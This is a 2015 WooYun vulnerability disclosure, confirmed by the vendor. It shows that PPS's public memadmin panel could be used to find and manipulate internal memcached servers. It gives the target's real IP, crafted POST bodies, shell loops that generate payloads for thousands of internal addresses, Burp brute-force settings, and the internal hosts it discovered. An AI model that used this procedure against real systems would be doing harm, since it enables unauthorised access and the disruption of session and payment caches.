当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143449

漏洞标题:日掉PPS所有memcached服务之一个开源程序引发的血案

相关厂商:PPS网络电视

漏洞作者: DBA

提交时间:2015-09-25 17:18

修复时间:2015-11-09 17:54

公开时间:2015-11-09 17:54

漏洞类型:应用配置错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-25: 细节已通知厂商并且等待厂商处理中
2015-09-25: 厂商已经确认,细节仅向厂商公开
2015-10-05: 细节向核心白帽子及相关领域专家公开
2015-10-15: 细节向普通白帽子公开
2015-10-25: 细节向实习白帽子公开
2015-11-09: 细节向公众公开

简要描述:

能上首页么,重点在思路分享和影响后果。

详细说明:

详细的说,是对IDC内网中的所有memcached进行修改、插入、清空等各种操作,从而影响正常业务,若登录、充值等session信息以及某些高频IO信息放到cached中就会受到影响。
首先是扫描器扫到某个地址,如下,要是以前就直接报个敏感信息泄露了,利用了一下发现是能够影响业务安全的。

http://58.83.190.26/memadmin


这是一个监控并可以操作memcached的开源工具(这个案例我可以申请memadmin的通用性漏洞么:)),默认打开之后是显示如图:

1.jpg


这里并不能看到memcached服务器的列表信息,但是从图中看的到可以添加服务器,然后再对memcached进行监控和操作。
那么问题就在这里了,怎么去找IP。
1、在之前扫描域名的时候,看到一些内网解析的域名,如下图

2.jpg


从图中可以看到一些10.77开头的A类私有地址,我看了看手表,没多少时间,还要去约会,越是把IDC的IP段锁定在10.77.0.0/16,要是有时间可以直接扫描10.0.0.0/8,使用默认的11211端口但是显然不能一个一个去试了。
2、研究memadmin开源工具
先随便填写一个IP(10.77.0.31),试用一下看看。如图,点击【统计信息】,可以看到填写的IP应该是错误的,显示【服务器无法连接】,同时源码中也有【confail】关键字,这个我们等会儿用。

3.jpg


我们再抓包看看添加IP的过程是怎样的,这个过程分两步。
(1)我们一下填写3个IP,然后点击管理,再抓包试试。如下

POST /memadmin/apps/SetListSession.php HTTP/1.1
Host: 58.83.190.26
...省略,直接写POST body部分了
data%5B0%5D%5Bcon%5D%5B0%5D%5Bnum%5D=3&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B0%5D%5Bname%5D=10.77.1.1&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B0%5D%5Bhost%5D=10.77.1.1&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B0%5D%5Bport%5D=11211&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B0%5D%5Bispcon%5D=0&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B0%5D%5Btimeout%5D=1&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B1%5D%5Bname%5D=10.77.1.2&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B1%5D%5Bhost%5D=10.77.1.2&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B1%5D%5Bport%5D=11211&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B1%5D%5Bispcon%5D=0&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B1%5D%5Btimeout%5D=1&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B2%5D%5Bname%5D=10.77.1.3&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B2%5D%5Bhost%5D=10.77.1.3&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B2%5D%5Bport%5D=11211&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B2%5D%5Bispcon%5D=0&data%5B0%5D%5Bcon%5D%5B0%5D%5Bcons%5D%5B2%5D%5Btimeout%5D=1&data%5B1%5D%5Bconp%5D%5B0%5D%5Bnum%5D=0


(2)当添加多个IP之后可以切换IP,然后点击【统计信息】看到是否连接memcached成功。不同IP的num参数值是不一样的,如图

4.jpg


3、攻击
将抓包的格式整理下之后针对于添加单条IP,body如下(其中id和8.8.8.8是会变化的)

&data[0][con][0][cons][id][name]=8.8.8.8&data[0][con][0][cons][id][host]=8.8.8.8&data[0][con][0][cons][id][port]=11211&data[0][con][0][cons][id][ispcon]=0&data[0][con][0][cons][id][timeout]=1


来,我们把10.77.0.1~10.77.10.254的所有IP都试一遍,手工构造body(如下)。

user@dev:~$ cat a.txt 
&data[0][con][0][cons][id][name]=8.8.8.8&data[0][con][0][cons][id][host]=8.8.8.8&data[0][con][0][cons][id][port]=11211&data[0][con][0][cons][id][ispcon]=0&data[0][con][0][cons][id][timeout]=1
user@dev:~$ for a in {0..10};do for b in {1..254};do echo "10.77.$a.$b";done;done > ip.txt
user@dev:~$ wc -l ip.txt
2794 ip.txt
user@dev:~$ id=0;for a in {0..10};do for b in {1..254};do ip="10.77.$a.$b";sed -e "s/8.8.8.8/$ip/g" -e "s/id/$id/g" a.txt >> post.txt ;let "id = $id + 1";done;done < ip.txt
root@dev:~$ wc -l post.txt
2794 post.txt
user@dev:~$ head -1 post.txt
&data[0][con][0][cons][0][name]=10.77.0.1&data[0][con][0][cons][0][host]=10.77.0.1&data[0][con][0][cons][0][port]=11211&data[0][con][0][cons][0][ispcon]=0&data[0][con][0][cons][0][timeout]=1
user@dev:~$ tail -1 post.txt
&data[0][con][0][cons][2793][name]=10.77.10.254&data[0][con][0][cons][2793][host]=10.77.10.254&data[0][con][0][cons][2793][port]=11211&data[0][con][0][cons][2793][ispcon]=0&data[0][con][0][cons][2793][timeout]=1


一共生成了2794条记录,拼接一下,修改burp拦截的包,一次性提交上去。如上图中的很多2700多个IP,但是显然也不能手工的在浏览器中去点,那么用burp好了。
先设置burp,Positions标签中变量设置为num,Payloads标签中type使用numbers,从0到2794,step为1的sequence,options中设置grep-math为返回页面中的字符串"confail",然后开始爆破。
页面中不包含这个"confail"的就是存在memcached服务器的内网IP了。不一会儿,就有了结果了。如下图

5.jpg


咱们再用meadmin连接一下,如图。

mem_info.jpg


可以看到请求次数还蛮多的。如果是登录的cached,全部失效一下是不是好多人要重新登录,如果是充值的...我害怕。

漏洞证明:

扫了一半找到几个,由于时间关系,我要去约会了。

10.77.0.19
10.77.0.20
10.77.2.117(这个IP提示版本不一致,meadmin无法连接)
10.77.2.134

修复方案:

版权声明:转载请注明来源 DBA@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-09-25 17:52

厂商回复:

确认外网一处memcache后台未授权访问,感谢关注爱奇艺PPS安全

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-25 17:41 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    这个开源程序我竟然在用--

  2. 2015-09-25 17:42 | DBA ( 普通白帽子 | Rank:111 漏洞数:13 | 零下37.5°C)

    @疯狗 233333

  3. 2015-09-25 17:47 | 我的邻居王婆婆 ( 普通白帽子 | Rank:523 漏洞数:96 | 猜猜我是哪头)

    。。。

  4. 2015-09-25 18:12 | DBA ( 普通白帽子 | Rank:111 漏洞数:13 | 零下37.5°C)

    以后得帮你们全部失效一下。